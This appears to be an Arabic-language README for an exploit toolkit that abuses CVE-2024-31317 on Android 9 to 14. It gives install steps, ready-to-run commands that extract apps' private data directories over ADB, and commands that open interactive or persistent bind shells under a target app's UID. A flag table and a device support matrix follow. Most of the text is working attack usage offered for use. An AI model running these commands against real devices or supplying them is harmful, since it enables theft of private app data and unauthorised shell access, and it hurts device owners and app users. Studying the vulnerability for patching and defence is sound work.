
هذه مجموعة أدوات تستخدم CVE-2024-31317 لاستخراج بيانات التطبيق الخاصة عبر ADB أو فتح شل بمعرّف UID الخاص بالتطبيق.
هذه مجموعة أدوات تستخدم CVE-2024-31317 لاستخراج البيانات الخاصة للتطبيقات عبر ADB أو لفتح شل بمعرف المستخدم (UID) الخاص بتطبيق. تؤثر هذه الثغرة على إصدارات أندرويد من 9 إلى 14 التي تعمل بمستوى تصحيح أمني 2024-06-01 أو أقل. يمكن العثور على مصفوفة دعم للأجهزة المختبرة أدناه.
sudo apt update
sudo apt install adb openjdk-17-jdk-headless android-sdk android-sdk-build-tools
export ANDROID_HOME=/usr/lib/android-sdk
export PATH=$PATH:$ANDROID_HOME/build-tools/34.0.0:$ANDROID_HOME/platform-tools
أضف سطري export إلى ~/.bashrc (أو ما يعادله) للاستمرارية.
./setup.sh
# Build and install the carrier APK (auto-builds from source)
python3 cve_2024_31317.py com.google.android.youtube --setup --rebuild -y
# Extract an app's data directory
python3 cve_2024_31317.py -d DEVICE_SERIAL -E -o app_data.tar -y com.example.app
يبني الاستغلال كل شيء من Hijack.java و AndroidManifest.xml عند أول تشغيل.
python3 cve_2024_31317.py [flags] [package]
# Extraction
python3 cve_2024_31317.py -d DEVICE -E -o youtube.tar -y com.google.android.youtube
# Check if device is vulnerable
python3 cve_2024_31317.py -d DEVICE --check-vuln
# Interactive bind shell
python3 cve_2024_31317.py -d DEVICE -i -y com.google.android.youtube
# Persistent shell on port 7777
python3 cve_2024_31317.py -d DEVICE -S 7777 -y com.google.android.youtube
# Multi-app chain
python3 cve_2024_31317.py -d DEVICE -E -y --chain-targets "app1,app2,app3"
# Recovery only (fix boot loop)
python3 cve_2024_31317.py -d DEVICE --recover
يُبنى كل شيء من المصدر وقت التشغيل. تستخدم خطوة البناء javac (JDK 17+) وd8 وaapt وzipalign وapksigner من Android SDK.
إذا كان الجهاز يحتوي على رمز مرور، فإنه يبدأ في حالة BFU (قبل أول فتح). يستقصي الاستغلال sys.user.0.ce_available لمدة تصل إلى 5 دقائق حتى تقوم بفتح الجهاز. يُنصح بإزالة رمز المرور طوال مدة الاستغلال.
† خاص بجهاز Samsung One UI: حقن ZNJECT ينجح ويعمل استخراج -E، لكن شل bind المرتبط بـ toybox nc ServerSocket لا يُفتح أبدًا. يتطلب مزيدًا من البحث لمعرفة السبب الجذري للمشكلة.
يمكن أن تسبب الحمولة المتبقية في hidden_api_blacklist_exemptions حلقة إقلاع (boot loop) عند الإقلاع التالي. شغّل --recover لإعادة التعيين:
python3 cve_2024_31317.py -d DEVICE --recover
| Flag | الوصف |
|---|
-E | استخراج بيانات التطبيق عبر tar | nc الفرعي (يبقى بعد قتل العملية الأب) |
-i | شل تفاعلي مرتبط (bind shell) REPL |
-S PORT | شل دائم (بروتوكول FIFO أحادي المنفذ) |
--recover | إعادة تعيين الإعداد، إصلاح تعليق الإقلاع / تدهور Zygote |
--setup | بناء وتثبيت APK الحامل فقط (بدون حقن) |
--list-apps | سرد جميع الحزم المثبتة مع UID ونوع sys/user |
--check-vuln | التحقق مما إذا كان الجهاز عرضة لـ CVE-2024-31317 ثم الخروج |
| Flag | الوصف |
|---|
-o file.tar | مسار الإخراج لأرشيف الاستخراج (tarball) |
-y / --yes | تخطي مطالبات التأكيد |
--retries N | الحد الأقصى لعدد المحاولات لكل هدف (الافتراضي 3) |
--chain-targets "pkg1,pkg2" | استخراج تطبيقات متعددة في جلسة واحدة |
--chain-file file.json | نفس ما سبق، من ملف JSON |
--reboot-after | إعادة التشغيل بعد الاستخراج (يستعيد Zygote) |
--reboot-every N | إعادة التشغيل بعد كل N من أهداف السلسلة |
--cold | تخطي الإحماء؛ تخزين الحمولة لبدء التشغيل التالي للتطبيق |
--port PORT | منفذ الشل المرتبط (الافتراضي 8888) |
-d SERIAL | استهداف جهاز محدد (عند اتصال عدة أجهزة) |
--rebuild | فرض إعادة بناء APK الحامل |
| Device | Android | API | Patch | ABI | -E | -i | -S | --chain | --cold | --retries | --recover | --reboot-after | --list-apps | --check-vuln | Score |
|---|
| Google Pixel 3 | 12 | 31 | 2021-10-05 | arm64-v8a | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |
| Samsung SM-P615 Tab S6 Lite | 13 | 33 | 2024-05-01 | arm64-v8a | ✅ | ❌† | ❌† | ✅ | ✅ | ❌† | ✅ | ✅ | ✅ | ✅ | 9/12 |
| sdk_gphone_x86_64 (emulator) | 10 | 29 | 2019-09-05 | x86_64 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | 12/12 |